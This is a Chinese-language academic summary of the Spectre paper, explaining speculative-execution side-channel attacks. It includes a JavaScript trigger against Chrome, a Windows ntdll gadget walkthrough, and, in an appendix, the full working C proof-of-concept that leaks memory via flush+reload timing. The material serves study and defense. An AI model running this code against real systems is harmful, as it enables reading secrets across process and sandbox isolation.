Group of Software Security In Progress

GoSSIP @ LoCCS.Shanghai Jiao Tong University

Spectre Attacks:Exploiting Speculative Execution

作者：Paul Kocher1 , Daniel Genkin2 , Daniel Gruss3 , Werner Haas4 , Mike Hamburg5 , Moritz Lipp3 , Stefan Mangard 3 , Thomas Prescher 4 , Michael Schwarz 3 , Yuval Yarom 6

单位：1 Independent, 2 University of Pennsylvania and University of Maryland, 3 Graz University of Technology,4 Cyberus Technology,5 Rambus, Cryptography Research Division,6 University of Adelaide and Data61

出处：S&P 19

链接：https://spectreattack.com/spectre.pdf

1.introduction

在当前，现代计算机在执行条件跳转指令时使用跳转预测和推测执行来提高执行速度。具体来说，在执行条件跳转指令时，cpu在无法迅速确认下一条需要执行的指令时，会尝试预测并继续执行，执行结果会被丢弃或者确认。但是预测逻辑并不可靠，在执行预测的指令时，cpu会对程序产生可见的side effect。这种方式造成的信息泄漏可以诱发一种幽灵攻击（specture attack)。
幽灵攻击吸引受害者程序在正常执行过程中预测执行部分代码，将受害者程序中的机密信息通过侧信道传输给攻击者。这种攻击可以被用来攻破程序隔离，jit编译，容器机制。

example

conditional branch

具体来说，对于如下代码，如果array1_size处于uncached状态，并且攻击者能够控制x，并且希望获取array1[x]中的机密信息。

if (x < array1_size)
    y = array2[array1[x] * 256];

在cpu执行条件判断时，由于array1_size不在cache中，cpu需要从memory中读取array1_size才能判断跳转是否成立。为了提高执行性能，cpu在经过攻击者的多次‘训练’后,认为会条件判断成立，执行赋值语句能够提高性能。cpu会保存当前寄存器状态进入checkpoint，并预测执行y = array2[array1[x] * 256],将array2[array1[x]*256]读入cache。
虽然过后寄存器状态被恢复到checkpoint，但cache状态已经发生了变化，攻击者可以通过flush&reload方法判断array1[x]的值，造成信息leak。

indirect branch

同样的攻击也能够通过间接跳转实现。攻击者通过‘训练’Branch Target Buffer (BTB)多次跳转到gadget的虚拟地址，令victim程序在执行时，cpu预测执行gadget代码。如果gadget被精心选择，攻击能够读取victim程序中的全部内存。

2. background

为了方便理解，先介绍相关的背景知识。

2.1Out-of-order Execution

现代处理器在执行指令时，并不会严格按照指令顺序依次执行，而是会将指令丢进一个reorder序列中(Tomasulo算法)，进行并行执行，最终commit执行结果。
这样的执行一般称为乱序执行。

2.2Branch Prediction

同样，在执行跳转指令时，会预测接下去将要执行的指令。
预测的指令和正常顺序执行的指令一样，被读入instruction buffer,在执行跳转指令后(未commit)，将buffer中后面的指令，也就是预测的指令一并丢入reorder序列中执行。

2.3Memory Hierarchy

计算机存储器分为磁盘，memory,cache3个部分。
cache位于cpu中，一般的intel i系列处理器有L1,L2,L3 3层cache，L1,L2为core-specific，L3为共享的cache。
一个cache可以用cache line,cache sets，associate 3方面描述。一个intel i系列 CPU 的L3cache大小为1M，一个cache line大小为64byte(0x40)，有>2048个 cache sets(hash > 11bits)，每个sets有8路（associate），使用一个hash 算法从地址的 bit 6-16(或者更多)决定cache sets.(详细内容:Mapping the Intel last-level cache)

2.4Microarchitectural Side-Channel Attacks

针对cache的侧信道攻击针对读入cache后的内存访问显著比未读入cache的内存访问快大于21个时钟周期。
通常有evict&probe,flush&reload两种方法。

3.overview

幽灵攻击可以分为3个阶段

3.1.setup phase

训练处理器，使处理器在后面的执行中会进行错误的跳转预测。并为侧信道读取做准备（flush cache）。

3.2.trigger phase

通过要求受害者程序执行一项操作（例如syscall, socket, file op等），或利用预测执行自己的代码(突破JIT编译或者程序内沙盒的限制)将程序中的机密信息泄漏到侧信道。

3.3.recover phase

通过侧信道（对于cache为测量memory读取时间）回复泄漏的机密信息。

implementation

Mistrain conditional branch

考虑上面introduction中提到的例子，条件判断x < array1_size对于安全性至关重要，越界的x输入可能导致程序访问内存中的敏感信息。

if (x < array1_size)
    y = array2[array1[x] * 256];

但如果攻击者能够在下面的条件下执行错误的路径。

  • x的值被恶意构造，令array1[x]指向一个敏感的数据字节k(例如x = -4)。
  • array1_size和array2并不在cache中,但array1[x]位于cache中（由于之前的合法操作）。
  • 之前的操作中，收到的x值是有效的，令跳转预测器认为if条件很可能继续为真。

当处理器开始判断array1_size和x的大小关系时，由于array1_size不在cache中，读取造成一次cache miss。
从内存中读取array1_size需要至少上千个时钟周期，从L3cache中读取也需要至少200个时钟周期。处理器在等待过程中假设if条件判断为真（由于之前的历史），开始预测执行y = array2[array1[x] * 256];。由于array1[x]即k在cache中，cache hit后cpu继续请求读取array2[k * 256]。
在执行中cpu发现预测选择了错误的路径，丢弃预测执行的运行结果。但在实际处理器运行中，预测执行发出的内存访问请求对cache状态造成了没有恢复的影响。
接下去攻击者只需要读取array2[n * 256]，当n=k时，由于array2[n * 256]已经在cache中，读取耗时比其他值时小。
假设上面的victim code在一个函数中。攻击者可以使用的另一种方法是用合法输入x‘继续调用一次victim code，如果输入的x’令victim code的运行时间比平均时间短，可以认为array1[x‘]==array1[x]。

implenmentation in C

针对indirect branch的攻击代码在附录中。攻击使用了flush & reload的侧信道读取方法。 可以注意到下面的细节：

  • read memory byte()在每次尝试使用恶意x执行攻击前，都使用5次合法的x进行训练。
  • 通过多次攻击确保array2[x]在cache中。
  • 对array2的index中的multiplier(512)，必须大于cpu的 cache line 大小。(对于Intel Sandy Bridge，cacheline大小为64byte)

implementation in JavaScript

trigger

下面的poc攻击目标为google chrome浏览器。用于在攻击中触发信息泄漏。

1
2
3
4
5
6
7

var TABLE1_STRIDE = 4096
var TABLE1_BYTES = 2**25
if (index < simpleByteArray.length) {
  index = simpleByteArray[index | 0];
  index = (((index * TABLE1_STRIDE)|0) & (TABLE1_BYTES-1))|0;
  localJunk ^= probeTable[index|0]|0;
}
  • 在setup阶段，先使用正确的index输入训练cpu，令其认为if条件判断大概率为真。
  • 代码中的其中”|0”操作是为了提示javascript引擎其中的值为整数，方便优化。
  • 本地变量localjunk是为了防止最后的probeTable[index|0]|0被优化掉。

可以使用D8读取V8的JIT编译器生成的代码，观察到下面的汇编代码。

1
2
3
4
5
6
7
8
9

cmpl r15,[rbp-0xe0] 
jnc 0x24dd099bb870
REX.W leaq rsi,[r12+rdx*1]
movzxbl rsi,[rsi+r15*1]
shll rsi, 12
andl rsi,0x1ffffff
movzxbl rsi,[rsi+r8*1]
xorl rsi,rdi
REX.W movq rdi,rsi
setup

在浏览器环境中攻击的另外一个要解决的问题是如何进行setup。

  • 由于clflush指令在JavaScript中是禁止的，使用读取一系列差为4096的地址来刷新256个不同地址的cache_line。大约2000次读取6-11位相同的一段内存能够刷新对应的cache地址。
  • 对于在flush过程中放逐simpleByteArray.length，由于一个cache line的大小为64byte，simpleByteArray.length共有64种可能位于的cache sets内，进行64组，每组2000次的读取，确保每组中读取的地址的第6位到第11位地址相同，这样可以确保将simpleByteArray.length清出cache。
recovery

在javascript中恢复机密信息同样需要使用计时器判断cache miss和cache hit间的差别。在HTML5中的Web Workers 特性允许创建一个单独的线程，反复递减一个内存中的值来进行计时。

Mistrain indirect branch

间接跳转指令同样能够用于幽灵攻击。
如果跳转的目标地址保存在内存中并在访问时触发了一个cache miss。预测执行可能会选择一个由攻击者提供的地址并继续执行。
类似于攻击conditional branch,攻击者只需要反复使用跳转指令跳转到y = array2[array1[x] * 256]或相似的代码地址处（‘训练’时跳转的源地址不必是最后触发信息泄漏时跳转的源地址），就能欺骗处理器在下一次间接跳转时预测执行泄漏信息的代码。

implementation in Windows

威胁模型

作者假定攻击发生在一个程序的两个线程中，一个进程(attack process)需要读取另一个线程(victim process)中的内存。 victim process反复读取指定文件的第一个字节，调用windows加密函数来计算(key || header)的SHA-1 hash结果，之后调用Sleep(0)休眠。 在编译后，victim process在调用Sleep()时，寄存器ebx和edi中保存着文件数据，这些数据是能够被attack process通过写文件而修改。

pick up gadget

攻击的第一步是找到一个gadget，能够在预测执行后在目标程序中暴露攻击者选择的内存信息。由于常见的Windows应用程序都会调用Windows中常见的动态库。作者在 Windows 8和Windows 10的ntdll.dll的代码段中观察到下面一段数据。

13 BC 13 BD 13 BE 13 12 17

它对应代码

1
2

adc edi,dword ptr [ebx+edx+13BE13BDh]
adc dl,byte ptr [edi]

在能够控制ebx和edi的情况下，假设edx的值是确定的（在目标程序中成立），令ebx = m+edx-13BE13BDH,上面的代码能够泄漏地址m处的值。

victim instruction

攻击选择的间接跳转指令是调用sleep函数的jmp dword ptr ds:[76AE0078h]。

attack

攻击流程：

  • 在ntdll.dll中定位gadget地址
  • 将包含跳转目标地址的内存页改为可写，并修改跳转的地址为目标的gadget地址，同时修改gadget地址处的指令为ret 4。这将令attack process中对sleep函数的调用跳向gadget地址并直接返回。
  • 开启一个单独的线程。并重复的尝试在cache中刷出76AE0078h。
  • 开启一个线程训练并误导cpu，令其在跳转到[76AE0078h]会跳向gadget。
  • 在训练完成后，修改文件，控制edi,ebx,令edi指向一个dll中的位置dll_base。这样，adc dl,byte ptr [edi] 会将一个dll中的地址m+dll_base读入cache。（假设这个dll没有aslr）
  • 通过flush reload确定m的值 这样的方法可以用来读取整个victim process内存的值。

conclusion

软件安全的一个基本假设即是计算机会忠实的执行各项条件检查，保证程序间的隔离性，但是specture attack揭示了预测执行违反了这项安全假设。从结果来看，这个漏洞在很长时间内对安全环境造成了重大影响。
从最初的对cache的侧信道攻击，硬件安全问题始终反映了在硬件和软件开发者之间，缺乏一个清晰的共识，什么信息是cpu可以在运算中泄漏的，而什么是不能泄漏的。
同时，在性能和安全之间的每一次取舍，都值得反复思考，是否会破坏之前的安全假定。intel和AMD设计的闭源性，让人怀疑这样的问题还会再次出现。

附录中的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129

#include <stdio.h> 
#include <stdlib.h> 
#include <stdint.h> 
#ifdef _MSC_VER  
#include <intrin.h> 
/* for rdtscp and clflush */
#pragma optimize("gt",on) 
#else 
#include <x86intrin.h> 
/* for rdtscp and clflush */
#endif

/******************************************************************** 
Victim code.
********************************************************************/ 
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 }; 
uint8_t unused2[64]; 
uint8_t array2[256 * 512];
char *secret = "The Magic Words are Squeamish Ossifrage.";
uint8_t temp = 0;

/* Used so compiler won’t optimize out victim_function() */
void victim_function(size_t x) { 
  if (x < array1_size) {
      temp &= array2[array1[x] * 512];
      /*try to leak the value of array1[x]*/
  }
}
/******************************************************************** 
Analysis code 
********************************************************************/
#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */
/* Report best guess in value[0] and runner-up in value[1] */  
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) 
{ 
  static int results[256];
  int tries, i, j, k, mix_i;
  unsigned int junk = 0;
  size_t training_x, x; 
  register uint64_t time1, time2;
  volatile uint8_t *addr;

  for (i = 0; i < 256; i++) results[i] = 0; 
  for (tries = 999; tries > 0; tries--) {
/* Flush array2[256*(0..255)] from cache */ 
      for (i = 0; i < 256; i++) _mm_clflush(&array2[i * 512]); 
      /* intrinsic for clflush instruction */

      /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */ 
      training_x = tries % array1_size; 
      for (j = 29; j >= 0; j--) {

          _mm_clflush(&array1_size); 
          for (volatile int z = 0; z < 100; z++) {} 
          /* Delay (can also mfence) */

          /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */ 
          /* Avoid jumps in case those tip off the branch predictor */ 
          x = ((j % 6) - 1) & ~0xFFFF; 
          /* Set x=FFF.FF0000 if j%6==0, else x=0 */ 
          x = (x | (x >> 16)); 
          /* Set x=-1 if j&6=0, else x=0 */ 
          x = training_x ^ (x & (malicious_x ^ training_x));

          /* Call the victim! */ 
          victim_function(x);
      }
      /* Time reads. Order is lightly mixed up to prevent stride prediction */ 
      for (i = 0; i < 256; i++) {
          mix_i = ((i * 167) + 13) & 255; 
          addr = &array2[mix_i * 512]; 
          time1 = __rdtscp(&junk); /* READ TIMER */ 
          junk = *addr; /* MEMORY ACCESS TO TIME */
          time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */ 
          if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size]) 
              results[mix_i]++; /* cache hit - add +1 to score for this value */

      }

      /* Locate highest & second-highest results results tallies in j/k */ 
      j = k = -1; 
      for (i = 0; i < 256; i++) { 
          if (j < 0 || results[i] >= results[j]) {
              k = j; j = i; 
          } 
          else if (k < 0 || results[i] >= results[k]) {
              k = i; 
              } 
      } 
      if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0)) 
          break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */

  } 
  results[0] ^= junk; /* use junk so code above won’t get optimized out*/ 
  value[0] = (uint8_t)j; 
  score[0] = results[j]; 
  value[1] = (uint8_t)k; 
  score[1] = results[k];

}

int main(int argc, const char **argv) {
  size_t malicious_x=(size_t)(secret-(char*)array1); 
  int i, score[2], len=40; 
  uint8_t value[2];

  /* default for malicious_x */

  for (i = 0; i < sizeof(array2); i++) array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */ 
  if (argc == 3) { 
      sscanf(argv[1], "%p", (void**)(&malicious_x)); 
      malicious_x -= (size_t)array1; /* Convert input value into a pointer */ 
      sscanf(argv[2], "%d", &len); 
  }

  printf("Reading %d bytes:\n", len); 

  while (--len >= 0) {
      printf("Reading at malicious_x = %p... ", (void*)malicious_x); 
      readMemoryByte(malicious_x++, value, score);
      printf("%s: ", (score[0] >= 2*score[1] ? "Success" : "Unclear")); 
      printf("0x%02X='%c' score=%d ", value[0],(value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]); 
      if (score[1] > 0)
          printf("(second best: 0x%02X score=%d)", value[1], score[1]); printf("\n");
  } 
  return (0);
}